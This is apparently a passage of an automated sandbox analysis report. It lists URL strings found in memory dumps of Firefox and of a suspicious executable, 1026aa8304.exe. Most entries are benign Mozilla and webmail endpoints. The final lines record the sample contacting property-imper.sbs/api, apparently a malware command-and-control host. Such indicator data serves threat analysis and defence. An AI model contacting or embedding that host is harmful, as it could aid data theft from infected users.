Source: firefox.exe, 0000002A.00000002.3032541275.00001D864E300000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/pp
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2973872761.000001FA76803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2901104455.000001FA76576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77E6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2987133673.000001FA77AB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001C.00000002.2738641118.000001D462012000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000002A.00000002.2968030204.000001FA751B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000002A.00000002.2962274185.000001FA73F1E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA7373B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002A.00000002.3010174195.000001FA79487000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsm
Source: firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr
Source: firefox.exe, 0000002A.00000002.3010174195.000001FA79487000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsr
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1#
Source: firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3010174195.000001FA79403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3010174195.000001FA79403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000002A.00000002.3010781592.000001FA7953A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordsi
Source: firefox.exe, 0000002A.00000002.2945499995.000001FA73194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i
Source: firefox.exe, 0000002A.00000002.2945499995.000001FA73194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1i#
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.comU
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001C.00000002.2738641118.000001D462012000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001C.00000002.2738641118.000001D46202F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001C.00000002.2738641118.000001D4620C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 00000018.00000003.2730848677.00000235117CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 00000018.00000003.2730848677.00000235117CC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 00000018.00000003.2629918870.0000023509500000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630767333.0000023507D3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630953545.0000023507D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2630510005.0000023507D1F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2631168919.0000023507D77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2976862750.000001FA76C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2992736414.000001FA77F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000002A.00000002.2978998870.000001FA76F46000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/1072
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/whatwg/html/issues/8610
Source: firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2936426983.000001FA67811000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000002A.00000002.2945499995.000001FA73194000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881a
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#bidi-rendering
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#flow-content-3
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#hidden-elements
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#the-details-and-summary-elements
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA767E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://html.spec.whatwg.org/#the-hr-element-2
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000002A.00000002.2943968009.000001FA730AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000002A.00000002.2949931192.000001FA73653000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org
Source: firefox.exe, 0000001C.00000002.2738641118.000001D46209E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2956336431.000001FA73928000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://install.mozilla.org
Source: firefox.exe, 00000018.00000003.2726148601.0000023511BD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2730372088.0000023509E67000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000002A.00000002.2991632782.000001FA77EEA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2990258151.000001FA77D52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=%MOZILLA_API_KEY%
Source: firefox.exe, 0000002A.00000002.3014163475.000001FA7A15C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000002A.00000002.2993206712.000001FA77FD9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3012622457.000001FA7973F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000002A.00000002.3032865566.00001EC872700000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.comZ
Source: firefox.exe, 0000002A.00000002.3012622457.000001FA7973F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2951780775.000001FA737F3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2968395219.000001FA76204000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2964754384.000001FA74814000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2901104455.000001FA76576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2973872761.000001FA76803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2973872761.000001FA76803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000002A.00000002.2951780775.000001FA737DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2936426983.000001FA678D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000002A.00000002.3006054844.000001FA790C9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest5
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mitmdetection.services.mozilla.com/
Source: firefox.exe, 0000002A.00000002.2936426983.000001FA67803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/?entrypoint=protection_report_monitor&utm_source=about-protections
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/about
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/breach-details/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/oauth/init?entrypoint=protection_report_monitor&utm_source=about-protect
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/breach-stats?includeResolved=true
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/dashboard
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com/user/preferences
Source: firefox.exe, 0000002A.00000002.2942457258.000001FA72F52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.comS
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla-ohttp-fakespot.fastly-edge.com/
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://mozilla.cloudflare-dns.com/dns-query
Source: firefox.exe, 0000002A.00000002.2978025405.000001FA76DB8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla.org/
Source: firefox.exe, 0000002A.00000002.2958818445.000001FA73C03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2957924471.000001FA73B56000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://normandy.cdn.mozilla.net/api/v1
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://oauth.accounts.firefox.com/v1
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000003.2901104455.000001FA76576000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox&referrer=utm_source%3Dprotection_r
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-
Source: firefox.exe, 00000018.00000003.2632635792.0000023507A33000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000018.00000003.2633494139.0000023507A2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2973872761.000001FA76803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002A.00000002.2959538346.000001FA73D03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000002A.00000002.2973872761.000001FA76803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s4
Source: firefox.exe, 0000002A.00000002.2972425294.000001FA76750000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://prod.ohttp-gateway.prod.webservices.mozgcp.net/ohttp-configs
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profile.accounts.firefox.com/v1
Source: firefox.exe, 0000001A.00000002.2740812744.000002D519D00000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000002.2737789022.000001D461EA0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002A.00000002.2963875702.000001FA742C0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com
Source: firefox.exe, 0000002A.00000002.2968618116.000001FA76391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.com/
Source: firefox.exe, 0000002A.00000002.2969522709.000001FA76498000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://profiler.firefox.comTY8H
Source: 1026aa8304.exe, 1026aa8304.exe, 00000007.00000003.2592579829.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2696485168.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2597505762.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2750846673.0000000000DE0000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2745433151.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2750984727.0000000000DE4000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2669658958.0000000005680000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2639292968.0000000000DD7000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 0000000A.00000003.2751178948.0000000000DE6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/
Source: 1026aa8304.exe, 0000000A.00000003.2831852038.0000000000DD8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/-
Source: 1026aa8304.exe, 00000007.00000003.2564082085.0000000005671000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2592171434.0000000005672000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2816025059.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2563390143.000000000566D000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2601978678.0000000005672000.00000004.00000800.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2616162777.0000000005672000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/E
Source: 1026aa8304.exe, 0000000A.00000003.2670234322.0000000000DD6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api
Source: 1026aa8304.exe, 00000007.00000003.2592579829.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2696485168.0000000000DF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/api=
Source: 1026aa8304.exe, 00000007.00000003.2602656816.0000000000E23000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2697666243.0000000000E20000.00000004.00000020.00020000.00000000.sdmp, 1026aa8304.exe, 00000007.00000003.2698065981.0000000000E23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://property-imper.sbs/apiG
